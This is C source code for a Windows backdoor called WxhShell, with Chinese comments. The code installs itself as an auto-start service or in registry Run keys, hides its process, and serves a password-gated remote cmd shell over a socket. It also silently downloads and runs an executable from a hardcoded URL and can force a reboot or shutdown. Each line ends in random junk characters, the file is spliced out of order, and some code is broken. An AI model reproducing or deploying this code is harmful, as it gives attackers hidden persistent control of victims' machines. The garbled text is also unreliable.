    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?&Ug"$v  
    if(Boot(SHUTDOWN)) SR_<3WW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v9*31Jx  
    else { lWPh2k  
    closesocket(wsh); YpJJ]Rszg  
    ExitThread(0); VDT.L,9  
    } tzJ7wXRr  
    break; aGBUFCCa  
    } u43W.4H13  
  // 获取shell 18nT Iz_  
  case 's': { @k+ K_gR  
    CmdShell(wsh); /Ixv{H)H  
    closesocket(wsh); f*o+g:]3  
    ExitThread(0); r:3h 2J[_  
    break; \:-"?  
  } YC[c QX  
  // 退出 7D&O5Z=%+  
  case 'x': { FRhHp(0}5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t03X/%H  
    CloseIt(wsh); 3FY87R   
    break; j[CXIz?c  
    } <c3Te$.  
  // 离开 oZ5 ,y+L4  
  case 'q': { L9{y1'')  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y[!s:3\f  
    closesocket(wsh); fDjJdRS"  
    WSACleanup(); 4v.{C"M  
    exit(1); jZr"d*Y  
    break; ]$~\GE^  
        } I >aKa  
  } dOX"7kZ  
  } ?k`UQi]Q  
2Q=I`H _  
  // 提示信息 `l2h65\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 18,;2Sr44  
} b|pp}il  
  } ^ 6b27_=  
:'2h0 5R  
  return; :Z%-&) F  
} xL [3R   
mor[AJ  
// shell模块句柄 p(>D5uN_}5  
int CmdShell(SOCKET sock) s}qtM.^W  
{ fG zx;<0P!  
STARTUPINFO si;  < v1.+  
ZeroMemory(&si,sizeof(si)); ~jJF&*)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; / %1-tGh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zJ)`snN|  
PROCESS_INFORMATION ProcessInfo; % oJH 6F  
char cmdline[]="cmd"; ]TVc 'G;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _1G;!eO  
  return 0; G5hf m-  
} ~6=aoF5"3?  
< &kl:|  
// 自身启动模式 ?{L5=X@$$  
int StartFromService(void)  s2`}~  
{ -e O>d}  
typedef struct U1Y0G[i)  
{ k%R(Qga  
  DWORD ExitStatus; qnFg7X>C,  
  DWORD PebBaseAddress; c+{ ar^)*  
  DWORD AffinityMask; {>UT'fa-  
  DWORD BasePriority; 3/y"kl:< -  
  ULONG UniqueProcessId; :28[k~.bo  
  ULONG InheritedFromUniqueProcessId; f}EsS  
}   PROCESS_BASIC_INFORMATION; RK/>5  
:}-VLp4b  
PROCNTQSIP NtQueryInformationProcess; rn]F97v@]  
2y IDyo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <Uu[nUJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r:M0# 2   
iD.p KG  
  HANDLE             hProcess; cx[[K.  
  PROCESS_BASIC_INFORMATION pbi; i0u`J  
):\+%v^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5?A<('2  
  if(NULL == hInst ) return 0; `(r0+Qx  
yU>ucuF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +~EnrrT+W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;6$W-W _  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Bk] `n'W  
^HU>fkSk  
  if (!NtQueryInformationProcess) return 0; CF6qEG6  
:Wihb#TO)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _yp<#q]  
  if(!hProcess) return 0; 1,Jy+1G0w  
>y+?Sz!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ymn@1BA8J  
Yfx?3  
  CloseHandle(hProcess); &14xYpD<  
)-m/(-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,#bT  
if(hProcess==NULL) return 0; j$<g8Bg=o  
85q!FpuH  
HMODULE hMod; `_sKR,LhB  
char procName[255]; XqGa]/;}  
unsigned long cbNeeded; cSjX/%*!m  
#r,!-;^'p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r`$P60,@C  
c_t7<  
  CloseHandle(hProcess); eM]>"  
cfPp>EK  
if(strstr(procName,"services")) return 1; // 以服务启动 k(xB%>ns  
%XQJ!sC`  
  return 0; // 注册表启动 {8 &=t8,c  
} vXZ )  
\O]kf>nC  
// 主模块 Qb7&S5m  
int StartWxhshell(LPSTR lpCmdLine) Q9c*I,O j  
{ N/[!$B0H@  
  SOCKET wsl; nbW.x7  
BOOL val=TRUE; \~r_S  
  int port=0; 8?rq{&$t  
  struct sockaddr_in door; |n;5D,r0C  
C)~%(< D  
  if(wscfg.ws_autoins) Install(); xf?"Q#  
,&g-DC ag  
port=atoi(lpCmdLine); `4e| I.`^r  
Y5y7ONcn  
if(port<=0) port=wscfg.ws_port; ix38|G9U  
qeC^e}h  
  WSADATA data; oN)I3wO$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KpIY>k  
~.#57g F"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {b-SK5%]L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z{gDEo)  
  door.sin_family = AF_INET; |WNI[49  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T)tTzgLD}  
  door.sin_port = htons(port); t~$8sG\  
^)o]hE|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @V&HE:P  
closesocket(wsl); _Ea1;dJmq  
return 1; $h}w: AV:  
} gB>AYL%o=  
iVo-z#  
  if(listen(wsl,2) == INVALID_SOCKET) { eep/96G ?  
closesocket(wsl); %TO&  
return 1; VF+g+~  
} q^uCZnkb=  
  Wxhshell(wsl); NZlCn:"  
  WSACleanup(); [!Djs![O  
-0I&dG-  
return 0; b!`6s  
1@}<CWE9  
} ftQ;$@  
HG)$ W  
// 以NT服务方式启动 'Hgk$Im+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /`t}5U>S_  
{ 0X$2~jV>  
DWORD   status = 0; a/3yn9`sQ  
  DWORD   specificError = 0xfffffff; ;Zc0imYL  
qxcTY|&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N8,g~?r^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .krEfY&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i>C%[dk9  
  serviceStatus.dwWin32ExitCode     = 0; _n4_;0  
  serviceStatus.dwServiceSpecificExitCode = 0; i2-]Xl  
  serviceStatus.dwCheckPoint       = 0; =4L%A=]`  
  serviceStatus.dwWaitHint       = 0; `-Tb=o}.  
/>uE)R$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /7ShE-.5#  
  if (hServiceStatusHandle==0) return; F&Rr&m  
79D;0  
status = GetLastError(); Rl_1g`84  
  if (status!=NO_ERROR) j3S!uA?  
{ "`mG_qHI[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~mZ[@ Z  
    serviceStatus.dwCheckPoint       = 0; fhha-J  
    serviceStatus.dwWaitHint       = 0; YgtW(j[  
    serviceStatus.dwWin32ExitCode     = status; yr*~?\  
    serviceStatus.dwServiceSpecificExitCode = specificError; -FrK'!\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uZ+"-Ig  
    return; &i6JBZ#~,  
  } A<(Fn_ &W  
mR|']^!SE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "*S_wN%  
  serviceStatus.dwCheckPoint       = 0; &x4*YM h  
  serviceStatus.dwWaitHint       = 0; $7-S\sDr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); - /cf3  
} fp`m>} -  
h\5~&}Hp  
// 处理NT服务事件,比如:启动、停止 b?2 \j}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9|NF)~Q}'  
{ G @]n(\7Y  
switch(fdwControl) h A '>  
{ oW>e.}d!  
case SERVICE_CONTROL_STOP: dnM.  
  serviceStatus.dwWin32ExitCode = 0; uH7!)LE#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Dc 84^>l  
  serviceStatus.dwCheckPoint   = 0; dKevhm)R"  
  serviceStatus.dwWaitHint     = 0; 5A%Uv*  
  { #iRd2Qj%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FTzc,6  
  } u Tdz$Nh  
  return; 7.+vp@+  
case SERVICE_CONTROL_PAUSE: ) % gU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :OqEkh"$#  
  break; #miG"2ea..  
case SERVICE_CONTROL_CONTINUE: <p?oFD_e4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8|u8J0^  
  break; jN(c`Gb  
case SERVICE_CONTROL_INTERROGATE: Tt_QAIl  
  break; ,>nf/c0.  
}; !<F5W <V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .3>q3sS  
} e:.D^G Fi  
WopA7J,  
// 标准应用程序主函数 d" a\`#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9)n3f^,Oj*  
{ QVmJ_WT  
%fXgV\xY  
// 获取操作系统版本 Wd7qpWItjQ  
OsIsNt=GetOsVer(); 0Ca/[_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [Kb)Q{=)  
%/}d'WJR  
  // 从命令行安装 q6o}2<T@  
  if(strpbrk(lpCmdLine,"iI")) Install(); m6@;!*Y  
\ >#y*W<  
  // 下载执行文件 Z4{N|h?  
if(wscfg.ws_downexe) { T:!H^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sdKm@p|/|  
  WinExec(wscfg.ws_filenam,SW_HIDE); [vnxp/v/<  
} |-%dN }O  
jS|jPk|I.  
if(!OsIsNt) { ,o0[^-b<  
// 如果时win9x,隐藏进程并且设置为注册表启动 s -F3(mc(  
HideProc(); -AQ 7Bd  
StartWxhshell(lpCmdLine); M(ie1Ju  
} d7Z$/ $  
else I]Z"?T  
  if(StartFromService()) 2Y;iqR  
  // 以服务方式启动 a!&m\+?  
  StartServiceCtrlDispatcher(DispatchTable); |T*t3}  
else 3g0v,7,Zv  
  // 普通方式启动 YdYaLTz  
  StartWxhshell(lpCmdLine); 3=0b  
UY)Iu|~0b  
return 0; :Z6l)R+V  
} }!WuJz"  
(%fSJCBl[P  
`0=j,54cx  
@[5]?8\o  
=========================================== 5X^`qUSv  
D e$K  
)$O'L7In&  
3)l<'~"z<  
o%h[o9i  
#BI6+rfv|  
" , lBHA+@  
h0l_9uI  
#include <stdio.h> ZCDXy  
#include <string.h> ko~e*31_E  
#include <windows.h> "Fxw"I <  
#include <winsock2.h> p(yHB([8  
#include <winsvc.h> G.^^zmsM`  
#include <urlmon.h> T1RICIf 1F  
,!98V Jmr  
#pragma comment (lib, "Ws2_32.lib") OV-#8RXJ  
#pragma comment (lib, "urlmon.lib") K48 QkZ_gY  
Wf&i{3z[  
#define MAX_USER   100 // 最大客户端连接数 Fn;Gq-^7@  
#define BUF_SOCK   200 // sock buffer W)`H(J  
#define KEY_BUFF   255 // 输入 buffer jVSU]LU E  
V)mi1H|m  
#define REBOOT     0   // 重启 T 0?9F2  
#define SHUTDOWN   1   // 关机 (V`ddP-  
~b 9fk)z!  
#define DEF_PORT   5000 // 监听端口 .zJZ*\2ob  
WwLV^m]  
#define REG_LEN     16   // 注册表键长度 sw,p6T[  
#define SVC_LEN     80   // NT服务名长度 9n3.Ar  
djDE0-QxcR  
// 从dll定义API _!o0bYD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UFj/Y;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $o*p#LU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s~I#K[[5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VWMr\]g  
VS+5{w:t  
// wxhshell配置信息 *C(q{|f  
struct WSCFG { N&W7g#F  
  int ws_port;         // 监听端口 "I3&a1*  
  char ws_passstr[REG_LEN]; // 口令 _D1)_?`a@-  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y_nlIcu  
  char ws_regname[REG_LEN]; // 注册表键名 =CL h<&  
  char ws_svcname[REG_LEN]; // 服务名 #3-hE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C+-sf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q94*2@KV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2VkA!o4nP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K$-|7tJon  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 22D,,nC0+=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B_0]$D0 ^  
?xo<Fv  
}; h6e,w$IL  
^NO;A=9b[  
// default Wxhshell configuration ,.,Y{CP  
struct WSCFG wscfg={DEF_PORT, V V Aw y6  
    "xuhuanlingzhe", 9<*<-x{A17  
    1, 2*0n#" L  
    "Wxhshell", 'V*8'?  
    "Wxhshell", ~tqNxlA  
            "WxhShell Service", dkOERVRe  
    "Wrsky Windows CmdShell Service", PjU.4aZ  
    "Please Input Your Password: ", *G,r:Bnb  
  1, o%v,6yv  
  "http://www.wrsky.com/wxhshell.exe", `R o>?H  
  "Wxhshell.exe" |d_ rK2  
    }; 2Zi&=Zj"  
[Mlmn$it  
// 消息定义模块 uF]+i^+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T`)uR*$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d6"B_,*b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E>qehs,g  
char *msg_ws_ext="\n\rExit."; lziC.Dpa  
char *msg_ws_end="\n\rQuit."; Mm#=d?YUHJ  
char *msg_ws_boot="\n\rReboot..."; MZSyu  
char *msg_ws_poff="\n\rShutdown..."; ZHc;8|}  
char *msg_ws_down="\n\rSave to "; 7`K)7  
9S)A6]  
char *msg_ws_err="\n\rErr!"; S3YAc4  
char *msg_ws_ok="\n\rOK!"; "QV1G'  
SrXuiiK  
char ExeFile[MAX_PATH]; q^b_'We_9  
int nUser = 0; 9!Vp-bo  
HANDLE handles[MAX_USER]; b]\V~ZaXG  
int OsIsNt; ~Nl`Zmn(A|  
aB4L$M8x  
SERVICE_STATUS       serviceStatus; @#| R{5=+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F2["AkNM  
"4i_}  
// 函数声明 (OHd} YQ  
int Install(void); n`7n5M*  
int Uninstall(void); ,NQ>,}a0  
int DownloadFile(char *sURL, SOCKET wsh); x:IY6  l  
int Boot(int flag); p2o6 6t  
void HideProc(void); IR*:i{  
int GetOsVer(void); xqaw00,s  
int Wxhshell(SOCKET wsl); hin6cac  
void TalkWithClient(void *cs); p:8]jD@}%  
int CmdShell(SOCKET sock); kA&ul  
int StartFromService(void); wGA%h.[M|  
int StartWxhshell(LPSTR lpCmdLine); 1z=}`,?>  
WFFpW{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~uu~NTz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1V1T1  
!)'|Y5 o  
// 数据结构和表定义 DR#[\RzNI  
SERVICE_TABLE_ENTRY DispatchTable[] = lpeo^Y}N  
{ 0B~Q.tyP  
{wscfg.ws_svcname, NTServiceMain}, e\>g@xE%  
{NULL, NULL} -q/FxESp  
}; 7S9Q{  
&0S/]E`_M  
// 自我安装 eE;")t,  
int Install(void) 8rsv8OO  
{ zs@[!?A,  
  char svExeFile[MAX_PATH]; Fgg4QF  
  HKEY key; )Z2t=&Nw  
  strcpy(svExeFile,ExeFile); t9 m],aH  
-2Azpeh  
// 如果是win9x系统,修改注册表设为自启动 MOW {g\{\  
if(!OsIsNt) { W4(O2RU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S~DY1e54GF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q! U'DDEP  
  RegCloseKey(key); j>OB<4?.+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v;@-bED(Qs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wY j~(P"  
  RegCloseKey(key); }~28UXb23  
  return 0; T"m(V/L$W  
    } cZ~\jpK  
  } <=,KP)   
} \i#0:3s.  
else { sIJ37;ZA  
g#ONtY@*U  
// 如果是NT以上系统,安装为系统服务 lC i_G3C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oFRb+H(E  
if (schSCManager!=0) +iPS=?S  
{ ~ Qt$)  
  SC_HANDLE schService = CreateService ~:srm#IX  
  ( OAQ'/{~7  
  schSCManager, ,FPgbs  
  wscfg.ws_svcname, +>5 "fs$Y  
  wscfg.ws_svcdisp, \l leO|m  
  SERVICE_ALL_ACCESS, D:HeP:.I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cNG6 A4  
  SERVICE_AUTO_START, X7]vXo*  
  SERVICE_ERROR_NORMAL, <!vAqqljt  
  svExeFile, uv[e0,@  
  NULL, G#4cWn'  
  NULL, `&U ['_%  
  NULL, gU}?Yy  
  NULL, 7M1*SC  
  NULL T<0Bq"'%  
  ); :q4 Mnr  
  if (schService!=0) ;G3{ e  
  { `v)-v<  
  CloseServiceHandle(schService); r(yb%p+  
  CloseServiceHandle(schSCManager); 2aN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S-h1p`  
  strcat(svExeFile,wscfg.ws_svcname); ud-.R~f{e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1q! 6Sny@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GJqSNi}  
  RegCloseKey(key); ~I>B5^3  
  return 0; U9xFQ=$ 2  
    } U<NpDjc"  
  } g5to0  
  CloseServiceHandle(schSCManager); kc8T@5+I0  
} *R>I%?]V3  
} * #;rp~  
um&e.V)N  
return 1; +-#| M|a  
} }h>e=<  
w|PZSOJ  
// 自我卸载 xZmKKKd0*  
int Uninstall(void) /BVNJNhz  
{ b,G+=&6u  
  HKEY key; Bd"7F{H  
FO}4~_W{  
if(!OsIsNt) { D@Fa~O$75  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k 9Kv  
  RegDeleteValue(key,wscfg.ws_regname); 3<msiC P  
  RegCloseKey(key); i\rI j0+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %2oLND}?z  
  RegDeleteValue(key,wscfg.ws_regname); h{ce+~X  
  RegCloseKey(key); H$ xSl1>E  
  return 0; tO?*x/XC{  
  } cVn7jxf  
} ~%Yh`c EP  
} )11/BB\v  
else { BoIe<{X(9  
7XWgY%G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qTyU1RU$9^  
if (schSCManager!=0) ^m8\fCA*  
{ ;wprHXjq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4[.- a&!}  
  if (schService!=0) 60AX2-sdJ,  
  { o<P%|>qX  
  if(DeleteService(schService)!=0) { L +.K}w  
  CloseServiceHandle(schService); B?Y%y@.  
  CloseServiceHandle(schSCManager); <k^9l6@  
  return 0; o <l4}~a  
  } HNjkRl)QR  
  CloseServiceHandle(schService); 2 >xV&  
  } Gh|1%g"gm  
  CloseServiceHandle(schSCManager); 9f,HjRP  
} E4y"$U%.  
} ! 2Y, a  
l/rhA6kEU  
return 1; gYzKUX@  
} 9fl !CG  
{Y'_QW1:2  
// 从指定url下载文件 YN>#zr+~  
int DownloadFile(char *sURL, SOCKET wsh) ?QVD)JI*k  
{ /e{Oqhf[n  
  HRESULT hr; ( v ~/glf  
char seps[]= "/"; Z^GriL  
char *token; A7b7IM[  
char *file; )cs y^-qw  
char myURL[MAX_PATH]; QTn-n)AE  
char myFILE[MAX_PATH]; KI>7h.t  
sCRBKCR?  
strcpy(myURL,sURL); <U,T*Ql1x  
  token=strtok(myURL,seps); RXx +rdF0  
  while(token!=NULL) [>_( q|A6+  
  { )If[pw@j  
    file=token; ir,Zc\C  
  token=strtok(NULL,seps); =C3l:pGMB;  
  } x-Mp6  
6o1.?t?  
GetCurrentDirectory(MAX_PATH,myFILE); QdW%5lM+  
strcat(myFILE, "\\"); DD3J2J  
strcat(myFILE, file); w@%W{aUC  
  send(wsh,myFILE,strlen(myFILE),0); ;:$Na=  
send(wsh,"...",3,0); ":-)mfgGU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A<.Q&4jb  
  if(hr==S_OK) #sqDZ]\B  
return 0; M;43F*   
else 9I.v?Tap  
return 1; .cZ&~ N  
;_Rx|~!!  
} 1@nR.v"$  
%74 Ms  
// 系统电源模块 hU=J^Gi0  
int Boot(int flag) Z(}x7jzW  
{ )uX:f8  
  HANDLE hToken; XIp9=jhSR  
  TOKEN_PRIVILEGES tkp; 1  yzxA(  
@JEr/yy  
  if(OsIsNt) { HK[sHB&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aF;&#TsB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~l}TlRqL  
    tkp.PrivilegeCount = 1; ^c(PZ,/#JB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G0(c@FBK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ka>RAr J  
if(flag==REBOOT) { KT g$^"\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /p%K[)T(  
  return 0; ~hxB Pn."  
} q]r!5&Z  
else { yh0|f94m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %*19S.=l  
  return 0; }zobIfIF  
} &J~S  $  
  } %~W}262  
  else { ?&GMp[  
if(flag==REBOOT) { f^%E]ki  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y1 }d(%  
  return 0; 3tm z2JIb  
} x# YOz7.  
else { Czci6 Lz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Sm Ei _u]'  
  return 0; @Op8^8$`  
} l =_@<p  
} 0zTv'L  
<7jb4n<  
return 1; yav)mO~QU6  
} c^6`"\X^g  
iZSSd{jO  
// win9x进程隐藏模块 XsG]-Cw  
void HideProc(void) _L=vK=,  
{ c\]L  
"w'YZO]>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yCkm|  
  if ( hKernel != NULL ) |v1 K@  
  { fN4p G*D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e N-{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vXnpx}B  
    FreeLibrary(hKernel); n5JB'F)  
  } NuooA  
I+CQ,Zuf  
return; XeB>V.<y  
} n47=eKd70  
v]BQIE?R /  
// 获取操作系统版本 JyqFFZ&  
int GetOsVer(void) jo|q,t  
{ aW6+Up+G*  
  OSVERSIONINFO winfo; b #^aM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1`}fbX;"m)  
  GetVersionEx(&winfo); \=@r1[d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RYV6hp)|  
  return 1; >=`c [=:Z_  
  else 4bxkp3~h;  
  return 0; Xou#38&p>  
} &Bp\kv  
|be r:1  
// 客户端句柄模块 &S3W/lQs  
int Wxhshell(SOCKET wsl) |O)deiJRy  
{ %'t~e?d!  
  SOCKET wsh; uv-W/p  
  struct sockaddr_in client; R|CY4G j  
  DWORD myID; d=#p w*w  
^i8I 1@ =  
  while(nUser<MAX_USER) QB.'8B_  
{ {''|iwLr  
  int nSize=sizeof(client); vaf9b}FL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YT5>pM-%  
  if(wsh==INVALID_SOCKET) return 1; 4'd{H Rs  
#LN I&5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \i,cL)HM  
if(handles[nUser]==0) rq1kj 8%2  
  closesocket(wsh); psZeu*/r  
else bF KP V%`  
  nUser++; jccW8g~ ~  
  } +_g T|vlU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S[a5k;8GL  
O|>1~^w  
  return 0; #c^Q<&B  
}  [;=WnG  
zkp Apj].  
// 关闭 socket V{h@nhq  
void CloseIt(SOCKET wsh) ;/V@N |$n  
{ ~^^ey17   
closesocket(wsh); [\b_+s)eN  
nUser--; /SXz_ e  
ExitThread(0); qp W#!Vbx  
} 2Z O'X9  
j>o +}p?3I  
// 客户端请求句柄 bJ|?5  
void TalkWithClient(void *cs) 99!{[gOv  
{ 3] qlz?5  
O&,O:b:@  
  SOCKET wsh=(SOCKET)cs; xplo Fw~  
  char pwd[SVC_LEN]; s3M84wz  
  char cmd[KEY_BUFF]; x ct U.)p  
char chr[1]; Idlu1g  
int i,j; | sFe:TX  
|nEV Oy>'  
  while (nUser < MAX_USER) { s\W  
Is@a,k  
if(wscfg.ws_passstr) { &'7"i~pC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~+#--BhV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?*'$(}r3  
  //ZeroMemory(pwd,KEY_BUFF); ,8I AhQa  
      i=0; qP"JNswI_  
  while(i<SVC_LEN) { X[Ek'=}  
=4e=wAO(i  
  // 设置超时 p{a]pG+3  
  fd_set FdRead; Ys$YI{  
  struct timeval TimeOut; v1C.\fL  
  FD_ZERO(&FdRead); u- [t~-(a  
  FD_SET(wsh,&FdRead); QWHy=(!  
  TimeOut.tv_sec=8; ,GX~s5S8  
  TimeOut.tv_usec=0; @E}X-r.^f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VK'T[5e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b|dCEmFt  
O4/n!HOb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "F"_G  
  pwd=chr[0]; >Mn>P!  
  if(chr[0]==0xd || chr[0]==0xa) { {1MGb%xW  
  pwd=0; uXLZtfu{  
  break; bV`C;RPn  
  } _?s %MNaX  
  i++; bw<w u}ED  
    } OF&h=1De,  
V->%)d3i  
  // 如果是非法用户,关闭 socket b!]0mXU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s$Zq/l$1x  
} v'Vt .m&9&  
JblmXqtC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^ L ^F=qx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ao":9r[V  
)M'UASB;8  
while(1) { ~" 0@u  
-2& i)S0R  
  ZeroMemory(cmd,KEY_BUFF); mhk/>+hF  
3fxNV<  
      // 自动支持客户端 telnet标准   _E6} XNS  
  j=0; o}=.  
  while(j<KEY_BUFF) { ?Hi}nsw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u:k:C  
  cmd[j]=chr[0]; Mjj}E >&  
  if(chr[0]==0xa || chr[0]==0xd) { `x} Dk<HF  
  cmd[j]=0; 3}4p_}f/[4  
  break; zq;DIWPIoJ  
  } &G/|lv>j  
  j++; ole|J  
    } y?#9>S >:\  
Znta#G0  
  // 下载文件 ^IGyuj0]jG  
  if(strstr(cmd,"http://")) { %X9b=%'+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \V^*44+ <!  
  if(DownloadFile(cmd,wsh)) jJVT_8J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C.>  
  else i<m$#6 <Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +~d1 ;0l|  
  } w(/DTQc~d  
  else { !7*(!as  
